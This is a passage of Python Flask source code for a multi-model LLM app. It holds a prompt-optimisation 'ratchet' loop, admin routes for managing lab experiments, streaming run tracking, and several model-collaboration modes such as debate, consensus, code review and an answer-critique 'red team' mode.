"model": models_pool[0] if models_pool else "llama3.2:latest",
|
|
}
|
|
best_config = exp["best_config"] or json.loads(json.dumps(mutable))
|
|
best_score = exp["best_score"] or 0
|
|
trial_num = exp["total_trials"] or 0
|
|
|
|
# Pick meta-model (largest in pool)
|
|
meta_model = models_pool[-1] if models_pool else "qwen2.5:latest"
|
|
judge_model = models_pool[0] if models_pool else "llama3.2:latest"
|
|
|
|
while True:
|
|
# Check if still running
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("SELECT status FROM lab_experiments WHERE id = %s", (exp_id,))
|
|
row = cur.fetchone()
|
|
if not row or row[0] != "running":
|
|
break
|
|
|
|
trial_num += 1
|
|
trial_start = time.time()
|
|
_lab_emit(exp_id, {"type": "status", "trial": trial_num, "message": "Proposing change..."})
|
|
|
|
# Step 1: Meta-model proposes a change
|
|
history_hint = ""
|
|
if trial_num > 1:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT config_diff, avg_score, improved FROM lab_trials WHERE experiment_id = %s ORDER BY id DESC LIMIT 5", (exp_id,))
|
|
recent = cur.fetchall()
|
|
if recent:
|
|
history_hint = "\n\nRecent trials:\n" + "\n".join(
|
|
f" {'KEPT' if r['improved'] else 'DISCARDED'} (score {r['avg_score']:.1f}): {r['config_diff']}" for r in recent)
|
|
|
|
propose_prompt = (
|
|
f"You are optimizing an LLM pipeline. Objective: {objective}\n"
|
|
f"Metric: {metric} (higher is better, max 10)\n"
|
|
f"Current best score: {best_score:.1f}/10\n\n"
|
|
f"Current config:\n{json.dumps(mutable, indent=2)}\n\n"
|
|
f"Available models: {models_pool}\n"
|
|
f"Eval cases: {len(eval_cases)}\n"
|
|
f"{history_hint}\n\n"
|
|
f"Suggest exactly ONE change to improve the score. Return ONLY valid JSON with the FULL updated config. "
|
|
f"Keys: system_prompt (string), temperature (0.0-1.5), model (string from available models). "
|
|
f"Be creative but focused. Change only one thing at a time."
|
|
)
|
|
try:
|
|
proposal_raw = query_model(meta_model, propose_prompt)
|
|
import re
|
|
json_match = re.search(r'\{[\s\S]*\}', proposal_raw)
|
|
if json_match:
|
|
proposed = json.loads(json_match.group())
|
|
# Validate keys
|
|
if "system_prompt" not in proposed:
|
|
proposed["system_prompt"] = mutable.get("system_prompt", "")
|
|
if "temperature" not in proposed:
|
|
proposed["temperature"] = mutable.get("temperature", 0.7)
|
|
if "model" not in proposed:
|
|
proposed["model"] = mutable.get("model", models_pool[0])
|
|
else:
|
|
proposed = mutable
|
|
except Exception:
|
|
proposed = mutable
|
|
|
|
# Describe the diff
|
|
diffs = []
|
|
for k in set(list(mutable.keys()) + list(proposed.keys())):
|
|
old_v = mutable.get(k)
|
|
new_v = proposed.get(k)
|
|
if old_v != new_v:
|
|
if k == "system_prompt":
|
|
diffs.append(f"system_prompt changed ({len(str(old_v))} → {len(str(new_v))} chars)")
|
|
else:
|
|
diffs.append(f"{k}: {old_v} → {new_v}")
|
|
config_diff = "; ".join(diffs) if diffs else "no change"
|
|
_lab_emit(exp_id, {"type": "status", "trial": trial_num, "message": f"Testing: {config_diff[:80]}"})
|
|
|
|
# Step 2: Run eval cases with proposed config
|
|
trial_scores = []
|
|
model_to_use = proposed.get("model", models_pool[0] if models_pool else "llama3.2:latest")
|
|
sys_prompt = proposed.get("system_prompt", "")
|
|
|
|
for ci, case in enumerate(eval_cases):
|
|
inp = case.get("input", "")
|
|
expected = case.get("expected", "")
|
|
full_prompt = f"{sys_prompt}\n\n{inp}" if sys_prompt else inp
|
|
try:
|
|
resp = query_model(model_to_use, full_prompt)
|
|
score = _score_response(resp, expected, metric, judge_model if metric == "quality" else None)
|
|
trial_scores.append({"input": inp[:100], "score": score, "response": resp[:300]})
|
|
except Exception as e:
|
|
trial_scores.append({"input": inp[:100], "score": 0, "error": str(e)})
|
|
|
|
avg_score = sum(s["score"] for s in trial_scores) / max(len(trial_scores), 1)
|
|
duration_ms = int((time.time() - trial_start) * 1000)
|
|
improved = avg_score > best_score
|
|
|
|
# Step 3: Ratchet
|
|
if improved:
|
|
best_score = avg_score
|
|
best_config = json.loads(json.dumps(proposed))
|
|
mutable = json.loads(json.dumps(proposed))
|
|
else:
|
|
mutable = json.loads(json.dumps(best_config))
|
|
|
|
# Save trial
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute(
|
|
"""INSERT INTO lab_trials (experiment_id, trial_num, config_diff, config_snapshot, scores, avg_score, improved, duration_ms)
|
|
VALUES (%s, %s, %s, %s, %s, %s, %s, %s)""",
|
|
(exp_id, trial_num, config_diff, json.dumps(proposed), json.dumps(trial_scores), avg_score, improved, duration_ms)
|
|
)
|
|
cur.execute(
|
|
"""UPDATE lab_experiments SET total_trials = %s, best_score = %s, best_config = %s, mutable_config = %s,
|
|
improvements = improvements + %s WHERE id = %s""",
|
|
(trial_num, best_score, json.dumps(best_config), json.dumps(mutable), 1 if improved else 0, exp_id)
|
|
)
|
|
conn.commit()
|
|
|
|
_lab_emit(exp_id, {
|
|
"type": "trial", "trial": trial_num, "score": round(avg_score, 2),
|
|
"best": round(best_score, 2), "improved": improved, "diff": config_diff[:100],
|
|
"duration_ms": duration_ms
|
|
})
|
|
|
|
# Done
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE lab_experiments SET status = 'paused' WHERE id = %s AND status = 'running'", (exp_id,))
|
|
conn.commit()
|
|
_lab_emit(exp_id, {"type": "done"})
|
|
|
|
except Exception as e:
|
|
_lab_emit(exp_id, {"type": "error", "message": str(e)})
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE lab_experiments SET status = 'error' WHERE id = %s", (exp_id,))
|
|
conn.commit()
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
# ─── LAB API ROUTES ───────────────────────────────────────────
|
|
|
|
@app.route("/lab")
|
|
@admin_required
|
|
def lab_page():
|
|
return render_template_string(LAB_HTML)
|
|
|
|
|
|
@app.route("/api/lab/experiments", methods=["GET"])
|
|
@admin_required
|
|
def lab_list():
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT id, name, status, metric, best_score, total_trials, improvements, models_pool, created_at FROM lab_experiments ORDER BY created_at DESC")
|
|
rows = cur.fetchall()
|
|
for r in rows:
|
|
r["created_at"] = r["created_at"].isoformat()
|
|
return jsonify({"experiments": rows})
|
|
|
|
|
|
@app.route("/api/lab/experiments", methods=["POST"])
|
|
@admin_required
|
|
def lab_create():
|
|
d = request.json
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute(
|
|
"""INSERT INTO lab_experiments (name, objective, metric, eval_cases, mutable_config, best_config, models_pool)
|
|
VALUES (%s, %s, %s, %s, %s, %s, %s) RETURNING id""",
|
|
(d["name"], d.get("objective", ""), d.get("metric", "quality"),
|
|
json.dumps(d.get("eval_cases", [])),
|
|
json.dumps(d.get("mutable_config", {"system_prompt": "You are a helpful assistant.", "temperature": 0.7, "model": ""})),
|
|
json.dumps(d.get("mutable_config", {"system_prompt": "You are a helpful assistant.", "temperature": 0.7, "model": ""})),
|
|
d.get("models_pool", []))
|
|
)
|
|
eid = cur.fetchone()[0]
|
|
conn.commit()
|
|
return jsonify({"id": eid})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>", methods=["GET"])
|
|
@admin_required
|
|
def lab_get(eid):
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
cur.execute("SELECT * FROM lab_experiments WHERE id = %s", (eid,))
|
|
exp = cur.fetchone()
|
|
if not exp:
|
|
return jsonify({"error": "not found"}), 404
|
|
exp["created_at"] = exp["created_at"].isoformat()
|
|
cur.execute("SELECT * FROM lab_trials WHERE experiment_id = %s ORDER BY trial_num", (eid,))
|
|
exp["trials"] = cur.fetchall()
|
|
for t in exp["trials"]:
|
|
t["created_at"] = t["created_at"].isoformat()
|
|
return jsonify(exp)
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>", methods=["PUT"])
|
|
@admin_required
|
|
def lab_update(eid):
|
|
d = request.json
|
|
sets, vals = [], []
|
|
for k in ["name", "objective", "metric"]:
|
|
if k in d:
|
|
sets.append(f"{k} = %s")
|
|
vals.append(d[k])
|
|
for k in ["eval_cases", "mutable_config"]:
|
|
if k in d:
|
|
sets.append(f"{k} = %s")
|
|
vals.append(json.dumps(d[k]))
|
|
if "models_pool" in d:
|
|
sets.append("models_pool = %s")
|
|
vals.append(d["models_pool"])
|
|
if not sets:
|
|
return jsonify({"ok": True})
|
|
vals.append(eid)
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute(f"UPDATE lab_experiments SET {', '.join(sets)} WHERE id = %s", vals)
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>/start", methods=["POST"])
|
|
@admin_required
|
|
def lab_start(eid):
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE lab_experiments SET status = 'running' WHERE id = %s", (eid,))
|
|
conn.commit()
|
|
if eid in _lab_threads and _lab_threads[eid].is_alive():
|
|
return jsonify({"ok": True, "message": "Already running"})
|
|
t = threading.Thread(target=_ratchet_loop, args=(eid,), daemon=True)
|
|
_lab_threads[eid] = t
|
|
t.start()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>/pause", methods=["POST"])
|
|
@admin_required
|
|
def lab_pause(eid):
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE lab_experiments SET status = 'paused' WHERE id = %s", (eid,))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>/reset", methods=["POST"])
|
|
@admin_required
|
|
def lab_reset(eid):
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("UPDATE lab_experiments SET status = 'idle', total_trials = 0, improvements = 0, best_score = 0, best_config = mutable_config WHERE id = %s", (eid,))
|
|
cur.execute("DELETE FROM lab_trials WHERE experiment_id = %s", (eid,))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>/delete", methods=["DELETE"])
|
|
@admin_required
|
|
def lab_delete(eid):
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("DELETE FROM lab_experiments WHERE id = %s", (eid,))
|
|
conn.commit()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/api/lab/experiments/<int:eid>/stream")
|
|
@admin_required
|
|
def lab_stream(eid):
|
|
q = []
|
|
_lab_streams.setdefault(eid, []).append(q)
|
|
def generate():
|
|
try:
|
|
while True:
|
|
if q:
|
|
data = q.pop(0)
|
|
yield f"data: {json.dumps(data)}\n\n"
|
|
if data.get("type") == "done":
|
|
break
|
|
else:
|
|
time.sleep(0.5)
|
|
yield ": keepalive\n\n"
|
|
finally:
|
|
_lab_streams.get(eid, []).remove(q) if q in _lab_streams.get(eid, []) else None
|
|
return Response(generate(), mimetype="text/event-stream",
|
|
headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no"})
|
|
|
|
|
|
# ─── ACTIVE RUN TRACKING ──────────────────────────────────────
|
|
import uuid as _uuid
|
|
|
|
_active_runs = {} # run_id -> {mode, user, prompt, started, step, total_steps, substep, events, errors}
|
|
_run_log = [] # recent completed runs with timing/error info (last 100)
|
|
|
|
def _log_run(run_info):
|
|
"""Archive a completed run to the log."""
|
|
_run_log.append(run_info)
|
|
if len(_run_log) > 100:
|
|
_run_log.pop(0)
|
|
|
|
|
|
# ─── TEAM ROUTES ──────────────────────────────────────────────
|
|
|
|
@app.route("/api/run", methods=["POST"])
|
|
@login_required
|
|
def run_team():
|
|
ip = request.remote_addr
|
|
if rate_limited(ip):
|
|
return jsonify({"error": "Rate limit exceeded. Wait a minute."}), 429
|
|
|
|
config = request.json
|
|
if not config:
|
|
return jsonify({"error": "Request body required"}), 400
|
|
|
|
mode = config.get("mode", "")
|
|
if not mode:
|
|
return jsonify({"error": "Mode is required"}), 400
|
|
|
|
prompt = config.get("prompt", "").strip()
|
|
if not prompt:
|
|
return jsonify({"error": "Prompt cannot be empty"}), 400
|
|
|
|
RUNNERS = {
|
|
"brainstorm": run_brainstorm, "pipeline": run_pipeline, "debate": run_debate,
|
|
"validator": run_validator, "roundrobin": run_roundrobin, "redteam": run_redteam,
|
|
"consensus": run_consensus, "codereview": run_codereview, "ladder": run_ladder,
|
|
"tournament": run_tournament, "evolution": run_evolution, "blindassembly": run_blindassembly,
|
|
"staircase": run_staircase, "drift": run_drift, "mesh": run_mesh,
|
|
"hallucination": run_hallucination, "timeloop": run_timeloop,
|
|
"research": run_research, "eval": run_eval, "extract": run_extract,
|
|
}
|
|
|
|
run_id = str(_uuid.uuid4())[:8]
|
|
username = session.get("username", "unknown")
|
|
_active_runs[run_id] = {
|
|
"mode": mode, "user": username, "prompt": prompt[:100],
|
|
"started": time.time(), "step": 0, "total_steps": 0,
|
|
"substep": "", "events": 0, "errors": [],
|
|
"responses_size": 0
|
|
}
|
|
|
|
def generate():
|
|
import queue
|
|
collected = []
|
|
run = _active_runs[run_id]
|
|
event_queue = queue.Queue()
|
|
stop_heartbeat = threading.Event()
|
|
|
|
# Heartbeat thread: sends keepalive every 10s to prevent connection timeout
|
|
def heartbeat():
|
|
while not stop_heartbeat.is_set():
|
|
stop_heartbeat.wait(10)
|
|
if not stop_heartbeat.is_set():
|
|
event_queue.put(": keepalive\n\n")
|
|
|
|
hb_thread = threading.Thread(target=heartbeat, daemon=True)
|
|
hb_thread.start()
|
|
|
|
# Runner thread: executes the mode runner and pushes events to queue
|
|
def run_pipeline():
|
|
try:
|
|
runner = RUNNERS.get(mode)
|
|
if runner:
|
|
for event_str in runner(config):
|
|
event_queue.put(event_str)
|
|
else:
|
|
event_queue.put(sse({"type": "response", "model": "system", "text": f"Unknown mode: {mode}", "role": "error"}))
|
|
event_queue.put(sse({"type": "done"}))
|
|
except Exception as e:
|
|
run["errors"].append({"model": "system", "error": str(e)[:500], "time": time.time()})
|
|
event_queue.put(sse({"type": "response", "model": "system", "text": f"Pipeline error: {e}", "role": "error"}))
|
|
event_queue.put(sse({"type": "done"}))
|
|
finally:
|
|
event_queue.put(None) # sentinel
|
|
|
|
pipeline_thread = threading.Thread(target=run_pipeline, daemon=True)
|
|
pipeline_thread.start()
|
|
|
|
try:
|
|
while True:
|
|
try:
|
|
event_str = event_queue.get(timeout=30)
|
|
except queue.Empty:
|
|
# Safety keepalive if heartbeat thread died
|
|
yield ": keepalive\n\n"
|
|
continue
|
|
if event_str is None:
|
|
break
|
|
yield event_str
|
|
# Track events
|
|
if event_str.startswith("data: "):
|
|
run["events"] += 1
|
|
try:
|
|
data = json.loads(event_str[6:].strip())
|
|
evt_type = data.get("type")
|
|
if evt_type == "response":
|
|
text = data.get("text", "")
|
|
run["responses_size"] += len(text)
|
|
collected.append({"model": data.get("model", ""), "text": text, "role": data.get("role", "")})
|
|
if data.get("role") == "error":
|
|
run["errors"].append({"model": data.get("model"), "error": text[:200], "time": time.time()})
|
|
elif evt_type == "progress":
|
|
run["step"] = data.get("step", run["step"])
|
|
run["total_steps"] = data.get("total_steps", run["total_steps"])
|
|
run["substep"] = data.get("substep", "")
|
|
elif evt_type == "status":
|
|
run["substep"] = data.get("message", "")
|
|
except Exception:
|
|
pass
|
|
finally:
|
|
stop_heartbeat.set()
|
|
run["finished"] = time.time()
|
|
run["duration"] = round(run["finished"] - run["started"], 1)
|
|
run["response_count"] = len(collected)
|
|
_log_run(dict(run, run_id=run_id))
|
|
_active_runs.pop(run_id, None)
|
|
if collected:
|
|
save_run(mode, config.get("prompt", ""), config, collected)
|
|
|
|
return Response(generate(), mimetype="text/event-stream",
|
|
headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no", "Connection": "keep-alive"})
|
|
|
|
|
|
# ─── ORIGINAL 10 MODES ────────────────────────────────────────
|
|
|
|
def run_brainstorm(config):
|
|
models, prompt = config.get("models", []), config["prompt"]
|
|
synthesizer = config.get("synthesizer", models[0] if models else "qwen2.5")
|
|
total = 2 if len(models) > 1 else 1
|
|
yield sse({"type": "clear"})
|
|
yield sse({"type": "progress", "step": 1, "total_steps": total, "substep": f"Querying {len(models)} models in parallel...", "percent": 10})
|
|
yield sse({"type": "status", "message": f"Querying {len(models)} models..."})
|
|
# Stream responses as they arrive instead of waiting for all
|
|
responses = {}
|
|
completed = 0
|
|
max_timeout = max((_get_timeout(m) for m in models), default=300) + 30
|
|
with ThreadPoolExecutor(max_workers=max(len(models), 1)) as pool:
|
|
futures = {pool.submit(safe_query, m, prompt): m for m in models}
|
|
for future in as_completed(futures, timeout=max_timeout):
|
|
m = futures[future]
|
|
try:
|
|
r = future.result(timeout=10)
|
|
except Exception as e:
|
|
r = f"Error: {e}"
|
|
responses[m] = r
|
|
completed += 1
|
|
pct = 10 + int((completed / len(models)) * 50)
|
|
yield sse({"type": "progress", "step": 1, "total_steps": total, "substep": f"{completed}/{len(models)} models responded", "percent": pct})
|
|
role = "error" if r.startswith("Error:") else "respondent"
|
|
yield sse({"type": "response", "model": m, "text": r, "role": role})
|
|
if len(responses) > 1:
|
|
yield sse({"type": "progress", "step": 2, "total_steps": total, "substep": f"Synthesizing with {synthesizer}...", "percent": 70})
|
|
yield sse({"type": "status", "message": f"Synthesizing with {synthesizer}..."})
|
|
parts = [("QUESTION:", prompt, 1), ("INSTRUCTION:", "Synthesize the best answer. Be concise.", 1)]
|
|
for m, r in responses.items():
|
|
parts.append((f"[{m}]:", cap_response(r), 3))
|
|
sp = build_context(parts, synthesizer)
|
|
try:
|
|
yield sse({"type": "response", "model": synthesizer, "text": safe_query(synthesizer, sp), "role": "synthesis"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": synthesizer, "text": str(e), "role": "error"})
|
|
yield sse({"type": "progress", "step": total, "total_steps": total, "substep": "Complete", "percent": 100})
|
|
|
|
|
|
def run_pipeline(config):
|
|
steps, current = config.get("steps", []), config["prompt"]
|
|
yield sse({"type": "clear"})
|
|
for i, step in enumerate(steps):
|
|
model = step["model"]
|
|
yield sse({"type": "status", "message": f"Step {i+1}/{len(steps)}: {model}..."})
|
|
try:
|
|
prompt = step["instruction"].replace("{input}", cap_response(current))
|
|
current = safe_query(model, prompt)
|
|
yield sse({"type": "response", "model": model, "text": current, "role": f"step {i+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": model, "text": str(e), "role": "error"}); break
|
|
|
|
|
|
def run_debate(config):
|
|
prompt = config.get("prompt", "")
|
|
d1, d2, judge = config.get("debater1"), config.get("debater2"), config.get("judge")
|
|
if not all([d1, d2, judge]):
|
|
yield sse({"type": "response", "model": "system", "text": "Debate mode requires 'debater1', 'debater2', and 'judge' model parameters.", "role": "error"})
|
|
yield sse({"type": "done"})
|
|
return
|
|
rounds = config.get("rounds", 2)
|
|
yield sse({"type": "clear"})
|
|
history = []
|
|
for m in [d1, d2]:
|
|
yield sse({"type": "status", "message": f"{m} opening..."})
|
|
try:
|
|
r = safe_query(m, f"Give your position on: {prompt}")
|
|
history.append((m, r)); yield sse({"type": "response", "model": m, "text": r, "role": "opening"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
for rd in range(rounds):
|
|
for i, m in enumerate([d1, d2]):
|
|
other = [d1, d2][1-i]
|
|
other_last = [h[1] for h in history if h[0] == other][-1]
|
|
yield sse({"type": "status", "message": f"Round {rd+1}: {m}..."})
|
|
try:
|
|
rebuttal_prompt = build_context([
|
|
("Topic:", prompt, 1),
|
|
(f"Opponent ({other}) said:", cap_response(other_last), 2),
|
|
("INSTRUCTION:", "Rebuttal or concede:", 1),
|
|
], m)
|
|
r = safe_query(m, rebuttal_prompt)
|
|
history.append((m, r)); yield sse({"type": "response", "model": m, "text": r, "role": f"round {rd+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
yield sse({"type": "status", "message": f"{judge} judging..."})
|
|
parts = [("Topic:", prompt, 1), ("INSTRUCTION:", "Judge: who won and why?", 1)]
|
|
for m, t in history:
|
|
parts.append((f"[{m}]:", cap_response(t), 3))
|
|
jp = build_context(parts, judge)
|
|
try:
|
|
yield sse({"type": "response", "model": judge, "text": safe_query(judge, jp), "role": "judge"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_validator(config):
|
|
prompt, answerer, validators = config["prompt"], config["answerer"], config.get("validators", [])
|
|
yield sse({"type": "clear"})
|
|
yield sse({"type": "status", "message": f"{answerer} answering..."})
|
|
try:
|
|
answer = query_model(answerer, prompt)
|
|
yield sse({"type": "response", "model": answerer, "text": answer, "role": "answer"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
|
|
yield sse({"type": "status", "message": f"Validating with {len(validators)} models..."})
|
|
vp = f"QUESTION: {prompt}\n\nANSWER:\n{answer}\n\nFact-check. Score 1-10 for accuracy, completeness, clarity. Flag errors."
|
|
results = parallel_query(validators, vp)
|
|
for m, r in results.items():
|
|
yield sse({"type": "response", "model": m, "text": r, "role": "validator"})
|
|
|
|
|
|
def run_roundrobin(config):
|
|
prompt, models, cycles = config["prompt"], config.get("models", []), config.get("cycles", 2)
|
|
yield sse({"type": "clear"})
|
|
if not models: return
|
|
yield sse({"type": "status", "message": f"{models[0]} drafting..."})
|
|
try:
|
|
current = query_model(models[0], f"Answer:\n\n{prompt}")
|
|
yield sse({"type": "response", "model": models[0], "text": current, "role": "draft"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": models[0], "text": str(e), "role": "error"}); return
|
|
for cycle in range(cycles):
|
|
start = 1 if cycle == 0 else 0
|
|
for i in range(start, len(models)):
|
|
m = models[i]
|
|
yield sse({"type": "status", "message": f"Cycle {cycle+1}: {m}..."})
|
|
try:
|
|
current = query_model(m, f"Question: {prompt}\n\nCurrent answer:\n{current}\n\nImprove it. Return full improved answer.")
|
|
is_last = (cycle == cycles-1) and (i == len(models)-1)
|
|
yield sse({"type": "response", "model": m, "text": current, "role": "final" if is_last else f"cycle {cycle+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_redteam(config):
|
|
prompt = config.get("prompt", "")
|
|
author, attacker, patcher = config.get("author"), config.get("attacker"), config.get("patcher")
|
|
if not all([author, attacker, patcher]):
|
|
yield sse({"type": "response", "model": "system", "text": "Red team mode requires 'author', 'attacker', and 'patcher' model parameters.", "role": "error"})
|
|
yield sse({"type": "done"})
|
|
return
|
|
rounds = config.get("rounds", 2)
|
|
yield sse({"type": "clear"})
|
|
yield sse({"type": "status", "message": f"{author} writing..."})
|
|
try:
|
|
current = query_model(author, prompt)
|
|
yield sse({"type": "response", "model": author, "text": current, "role": "author"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": author, "text": str(e), "role": "error"}); return
|
|
for r in range(rounds):
|
|
yield sse({"type": "status", "message": f"Round {r+1}: {attacker} attacking..."})
|
|
try:
|
|
attack = query_model(attacker, f"Question: {prompt}\n\nAnswer:\n{current}\n\nRED TEAM: find every flaw, error, weakness, edge case. Be aggressive.")
|
|
yield sse({"type": "response", "model": attacker, "text": attack, "role": f"attack {r+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": attacker, "text": str(e), "role": "error"}); continue
|
|
yield sse({"type": "status", "message": f"Round {r+1}: {patcher} fixing..."})
|
|
try:
|
|
current = query_model(patcher, f"Question: {prompt}\n\nAnswer:\n{current}\n\nFlaws found:\n{attack}\n\nFix ALL issues. Return complete improved answer.")
|
|
yield sse({"type": "response", "model": patcher, "text": current, "role": "patcher" if r == rounds-1 else f"patch {r+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": patcher, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_consensus(config):
|
|
prompt, models, max_rounds = config["prompt"], config.get("models", []), config.get("max_rounds", 3)
|
|
yield sse({"type": "clear"})
|
|
if not models: return
|
|
yield sse({"type": "status", "message": f"Round 1: {len(models)} models answering..."})
|
|
responses = parallel_query(models, prompt)
|
|
for m, r in responses.items():
|
|
yield sse({"type": "response", "model": m, "text": r, "role": "round 1"})
|
|
for rd in range(2, max_rounds + 1):
|
|
yield sse({"type": "status", "message": f"Round {rd}: reviewing each other..."})
|
|
new = {}
|
|
for m in models:
|
|
parts = [("Question:", prompt, 1),
|
|
("Your answer:", cap_response(responses.get(m, "")), 2),
|
|
("INSTRUCTION:", "Revise considering other perspectives. Adopt good points, defend if right.", 1)]
|
|
for o, r in responses.items():
|
|
if o != m:
|
|
parts.append((f"[{o}]:", cap_response(r), 3))
|
|
ctx = build_context(parts, m)
|
|
try:
|
|
new[m] = safe_query(m, ctx)
|
|
yield sse({"type": "response", "model": m, "text": new[m], "role": "consensus" if rd == max_rounds else f"round {rd}"})
|
|
except Exception as e:
|
|
new[m] = responses.get(m, ""); yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
responses = new
|
|
|
|
|
|
def run_codereview(config):
|
|
prompt = config.get("prompt", "")
|
|
coder, reviewer, tester = config.get("coder"), config.get("reviewer"), config.get("tester")
|
|
if not all([coder, reviewer, tester]):
|
|
yield sse({"type": "response", "model": "system", "text": "Code review mode requires 'coder', 'reviewer', and 'tester' model parameters.", "role": "error"})
|
|
yield sse({"type": "done"})
|
|
return
|
|
yield sse({"type": "clear"})
|
|
yield sse({"type": "status", "message": f"{coder} coding..."})
|
|
try:
|
|
code = query_model(coder, f"Write code for this task. Only output code with brief comments.\n\n{prompt}")
|
|
yield sse({"type": "response", "model": coder, "text": code, "role": "coder"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": coder, "text": str(e), "role": "error"}); return
|
|
yield sse({"type": "status", "message": f"{reviewer} reviewing..."})
|
|
try:
|
|
review = query_model(reviewer, f"Task: {prompt}\n\nCode:\n{code}\n\nReview: bugs, security, performance, style, edge cases. Provide corrected code if needed.")
|
|
yield sse({"type": "response", "model": reviewer, "text": review, "role": "reviewer"})
|
|
except Exception as e:
|
|
review = ""; yield sse({"type": "response", "model": reviewer, "text": str(e), "role": "error"})
|
|
yield sse({"type": "status", "message": f"{tester} testing..."})
|
|
try:
|
|
tests = query_model(tester, f"Task: {prompt}\n\nCode:\n{code}\n\nReview:\n{review}\n\nWrite comprehensive unit tests. Cover normal, edge, error cases.")
|
|
yield sse({"type": "response", "model": tester, "text": tests, "role": "tester"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": tester, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_ladder(config):
|
|
prompt, models = config["prompt"], config.get("models", [])
|
|
levels = [
|
|
("Child (5yo)", "Explain to a 5-year-old. Very simple words, short sentences, fun analogies."),
|
|
("Teenager", "Explain to a 15-year-old. Everyday language, relatable examples, some technical terms."),
|
|
("College Student", "College level. Proper terminology, theory, structured explanation."),
|
|
("Professional", "Professional level. Technical language, real-world applications, trade-offs."),
|
|
("PhD Expert", "PhD/expert level. Nuanced details, current research, math if relevant, edge cases."),
|
|
]
|
|
yield sse({"type": "clear"})
|
|
for i, (name, instr) in enumerate(levels):
|
|
m = models[i % len(models)] if models else "qwen2.5"
|
|
yield sse({"type": "status", "message": f"Level {i+1}/5: {name} ({m})..."})
|
|
try:
|
|
yield sse({"type": "response", "model": m, "text": query_model(m, f"{instr}\n\nQuestion: {prompt}"), "role": name})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_tournament(config):
|
|
prompt, models, judge = config["prompt"], config.get("models", []), config.get("judge", "qwen2.5")
|
|
yield sse({"type": "clear"})
|
|
yield sse({"type": "status", "message": f"{len(models)} models competing..."})
|
|
responses = parallel_query(models, prompt)
|
|
for m, r in responses.items():
|
|
yield sse({"type": "response", "model": m, "text": r, "role": "competitor"})
|
|
if len(responses) < 2: return
|
|
yield sse({"type": "status", "message": f"{judge} ranking..."})
|
|
parts = [("Question:", prompt, 1),
|
|
("INSTRUCTION:", "Rank all from best to worst. Score 1-10 each. Then refine the winner into the ultimate answer.", 1)]
|
|
for m, r in responses.items():
|
|
parts.append((f"[{m}]:", cap_response(r), 3))
|
|
jp = build_context(parts, judge)
|
|
try:
|
|
yield sse({"type": "response", "model": judge, "text": safe_query(judge, jp), "role": "verdict"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
|
|
|
|
|
|
# ─── NEW 7 MODES ──────────────────────────────────────────────
|
|
|
|
def run_evolution(config):
|
|
"""Genetic algorithm: generate, score, breed, mutate across generations."""
|
|
prompt, models = config["prompt"], config.get("models", [])
|
|
generations = config.get("generations", 3)
|
|
judge = config.get("judge", models[0] if models else "qwen2.5")
|
|
yield sse({"type": "clear"})
|
|
|
|
if not models: return
|
|
|
|
# Gen 0: each model generates an answer
|
|
yield sse({"type": "status", "message": "Generation 0: spawning initial population..."})
|
|
population = parallel_query(models, prompt)
|
|
for m, r in population.items():
|
|
yield sse({"type": "response", "model": m, "text": r, "role": "gen 0"})
|
|
|
|
for gen in range(1, generations + 1):
|
|
# Fitness scoring
|
|
yield sse({"type": "status", "message": f"Generation {gen}: fitness evaluation..."})
|
|
